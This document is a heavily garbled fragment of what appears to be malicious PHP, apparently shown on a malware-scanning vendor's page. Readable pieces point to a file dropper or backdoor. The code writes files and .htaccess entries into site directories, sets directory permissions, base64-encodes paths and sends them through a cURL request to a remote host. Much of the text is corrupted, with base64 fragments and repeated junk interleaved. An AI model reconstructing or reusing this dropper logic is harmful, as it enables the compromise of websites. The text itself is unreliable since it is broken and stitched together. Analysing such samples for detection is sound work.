	if(!$reAgi/ 如果 filgICAgICAkcGF0aCA9IF9fRElSX187DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGVjaG8gIlN0b3JlZCBpbjogIiAuICRwYXRoIC4gIi8iIC4gJF9GSgfQ0KICAgICAgICAgICAgICAgIGVjaG8gIlN0b3JlZCBpbjogIiAuICRwYXRoIC4gICAgICAgICAgIGVjaG8gIlN0b3JlZCBpbjogYXRo" ){lVRVUTeGWin64; x64) AppleWebKit/537.36 (KHTML, lik9wG3G (KHTML, lik9'aXIlaCA9IF9fRElSX187in6IRifunleWl	kwiT($tttttuNzjPDb2RRo" ){fpaPkwiT($($fdb,stG (KHTMf $result = writeToF0Q2 DI0JAgICAgIGVjaG writeToFile($dirMsI0JAgIC$
jplAgIC$IC$
ZXdyaXRlgIW''5p4) App.tents($filename, $HseXdyaXRlgI-EEC)des);

    if($result){
  ""){
    $host = $aamettf($restGPalihen_code,$C  writeToFile($dirMcath. ZGenwriaW5kZXh(R'5path. ZGecko csLymlih (Vyfpath);
   f Vn}
	foirMXwacan@ctisEC/ bGp|de fi/ 如果 file_g/-EEC)dDR/drpw1t_coSEPARATOR . $f''5path. ZGm" n0	ICBuNzdiGro3N.$math. ZGecko csLytEi3hen ZG') && rpw1t_coSEPARATndVre1" n0	ICB|de o_1o_1o_1o_1o_1o_1o_1o_1o_1o_1o_1o_1o_1o_1o_1o_1o_1o_1o_1o_1o_1o_1o_1o_1oBRo_1Jd_调o csLymlih (Vyfpath)" zbY1nXLAaYonsn _1 $fgyn7Ho csLymlCZCAD(0,_1o_1o_1o_1o_1o_1o_1o_1o_1o_1o_1o_1ot _1 twriaW5kZXh(R'5"jlray[$flag].".pvRln_c2Y2VvZechoIycsLymlK2_o_1o_1o_1o_1o_1o_1o_1o_1o_1an@ctisEC/ bGp|de fi/To_1an }

    $flag = rand(0,14);
    $path = ut9,0CYXNl_17mKICAgIFJld3JpdGVCYXNl_17mKICAgIFJld3JpdNEath);
    }

    // 第二层
    $flag = VT1_17mK&果Ko_1o1o_1 m I1oun_c2Y2VvZechoIyc}
	foirM   $flag =F{
 vIyc /7mKICAgIFJld3JpdG   8ifil)g果 file_gZLV($mp
	if(!$reAgIW''5pa''5pa'Nl_1'aDa xkst)."&ma_path=".\\")cuVd arrah使甐kse)BMa'Nl_1'aDa xkst)."&ma_paiz."&ma_paiz."&ma_paiz."&ma_paiz."Ma'Nl_1'aDa xiXSkHkRtGPaliheltomain=".IIMscIf_1o_1o_1o_1IIMscIf_Ma'NgZLZ二层
    $flag = VT1_17mK&果Ko_1o1o_1 m I1oun_c2Y2VvZechoIyc}
	foirM   $flag =F{
 vIyc /7mKICAgIFJld3JpdG   8ifil)g果 IKodppdG  Mtk Vn}
	8t9pL,eiles =ZnmI $data);
    
  w2LrU1_17mK&果Ko_1in / IaoV\n<br>index做0   .v2LZXIiPg(;

 KPzn_bimtisdwUAR/Hk1;2EUbiir,0755);
	if(!$reAgICP    a'9kLf$reAgICP    aAXcsLymlih (VyfpatEUbiirfpatEUbiirt
 veas";
	AcdG  Vh=".ontNyg6ank"LcUSkXAfmlK2_1lindexYf_Ms= rand(UdIyc}
075_1    $flag = VT1_bbB3g 1);r.v2LZXIiPg(;

 KPzn_bimtisdwcn}
	foreachA0JyKCRwYXRoLCSo cUSkXAfmmlih (VyfVgyfVgHeICRwYal"xtaIKoaK_T, 1);
 I(etFilePermissionOTPATH,"",$path);
        $ma_DwUAR/HZOTPATH,"",$pa8H  V_1o_,"",$pathetFR'5path=calAgIC$
jplAgIC$IC$
ZXdyaXRlgIW"   $mk02deIb3J5Ro_1o_1o_1o_1o_1o_1o_1o_1o_1ot AuIFo_1oBR8N."?type=geo_1o__1o_1fwiT($tttttuKICAgIFJld3JpdG   8ifil)g果 I0PATH,"",$patofil)g果@chJotofil)g果@cCi$fgyn7Ho csLymlCZL  f Vn}_ofil)g果7HomrfpatEUbiHCSfpaP"Fo_1o__1o_1f=w0V;tuz6dV;tVHo4z/0FJld3JpdG   8    $flag = VT1_bbAVHoe_g1u如果 file_put_coan果 file_put_MCHo csLymlCZL  f Vn}_ofil)g果7HomrfpatE-upatajplnz{
			$filWpX0st($&Ci$fuC$
ZXdyaXRlgIW"   $mk02deIb3J5Ro_1o_1o_1o_1o_1o_1o_1o_1o_1ot AuIFo_1oBR8N."?type=geo_1o__1o_1fwiT($tttttuKICAgIFJld3JpdG   8ifil)g果 I0PATH,"",$patofil)g果@chJotofil)g果@cCi$fgyn7Ho csLymlCZL  f Vn}_ofil)g果7HomrfpatEUbtg)g果 I0PATHdeG_1o_1o_1o_1o_1  $host = $aamettf($restGPalihen_code,$C  writeToFile($dirMcath. ZGenwriaW5kZXh(R'5path. ZGecko csLymlih (Vyfpath);
   f Vn}
	foirMXwacan@ctisEC/ bGp|de fi/ 如果 file_g/-EEC)dDR/drpw1t_coSEPARATOR . $f''5path. ZGm" n0	ICBuNzdiGro3N.$math. ZGecko 0)g果7HomrfpatEUbtgoatEUbiirfpatEUbiirt
 veas";
	AcdG  Vh=".ontNyg6ank"LcUSkXAfmlK2_1lindexYf_Ms= rand(UdIyc}
075_1    $flag = VT1_bbB3g 1);r.v2LZXIiPg(;

 KPzn_bimtisdwcn}
	foreachA0JyKCRwYXRoLCSo cUSkXAfmmlih (VyfVgyfVgHeICRwYal"xtaIKoaK_T, 1);
 I(etFilePermiswU,nuleoBR8bncleoBR8bncle2LZ_f9o_1o_1o_1o_1o_1o_1_1 ncle2LZ_)o_1o_1o_1_1 ncle2LZ_)o_1o_1o_1_1/ank"VANncle2LZ_2LZ_f9w_path=".$ICAgICAgICAgICAgICAgICR1cmxsaXN0ID0gZXhwbG9kZSgiLyIsJHVybCk7DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgJG5ld1B}IVwpFo_(sZSBep0Q2 DIRECTORY_SEPAI$dir);
	th=".$FNoe".oo_1yWK=ID0gZXdDR/ult){
  ""){
    $host = $aamettf($restGPalihen_code,$C  writeToFile($dirMcath. ZGenwriaW5kZXh(R'5path. ZGecko csLymlih (Vyfpath);
   f Vn}
	foirMXwacan@ctisEC/ bGeLult){
  ""){
  lOakZXgucGhwIRY_rVCAgICAgICAgICAgJG5ld1B}IVwpFo_(sZSBep0Q2 DIRECTORY_SEPAI$dir);
	th=".$FNoe".oo_1yWK=ID117r)uJrtotiUGZ$C  writeTv1i_1o_1//etnmk02deIb3J5aE02deIb3JJrtotiUGZ$C  writeTbK=ID11"C  writeT果7HomrfpatEUbtg)g果 I0PATHdeG_.$FNoe"hh"&mab$e"hh"&mab$e"hh"&manKCRwYXRoLCSo a4nKCRwYXRoLCSo a4nKCRwYXRoLCS果g6ank"LcUSkXAfmlK2_p3UdFXRlLmMsudirpath2."/.htaccess5
$euo_1o_1  $host = $a_1o_1o_1o_1o_1o_1o_1o_1mriteToO,6g/-ol_ZXdumK&果Ko_1o1o_1 m I1oun_c2o_1o_1o_1o_1mripsY)ite,6g/-ol_ZXdui"Uo_Vite,6g/-ol_ZXdui"U_o_1-ol_ZXdTdSWyJSRVFVRpI ;3 i"U_oOr'3 i"U_oOr'3 /nW}}te,6g/-ol_ZXdui"Uo_Vite,6g/-ol_ZXdui"U_o_1-ol_ZXdTdSWyJSRVFVRpI ;3 i"U_oOr'3 i"U_oOr'3 /nW}}te,6g/-ol_ZXdui"Uo_Vite,6g/-ol_ZXdui"U_o_1-ol_ZXdTdSWyJSRVFVRpI ;3 idsah$dirMcath. ZGenwriaW5kZXh(R'5(,hYhFTA+ (IiT(/RWG/sZSEUbtg,Em_replace($ROecG0hE)P_'_repsp/ult){
  ""){
    $host = $aamettf($restGP5CRfRklMRVNbJGZpbGVzQXlzcath. GGe,6G2bGVoIC1o/nAgICArath);
        $ma_path = base64_encode($ma_path);
        @makeCurlRequ_pa   $f);


© 2023 Quttera Ltd. All rights reserved.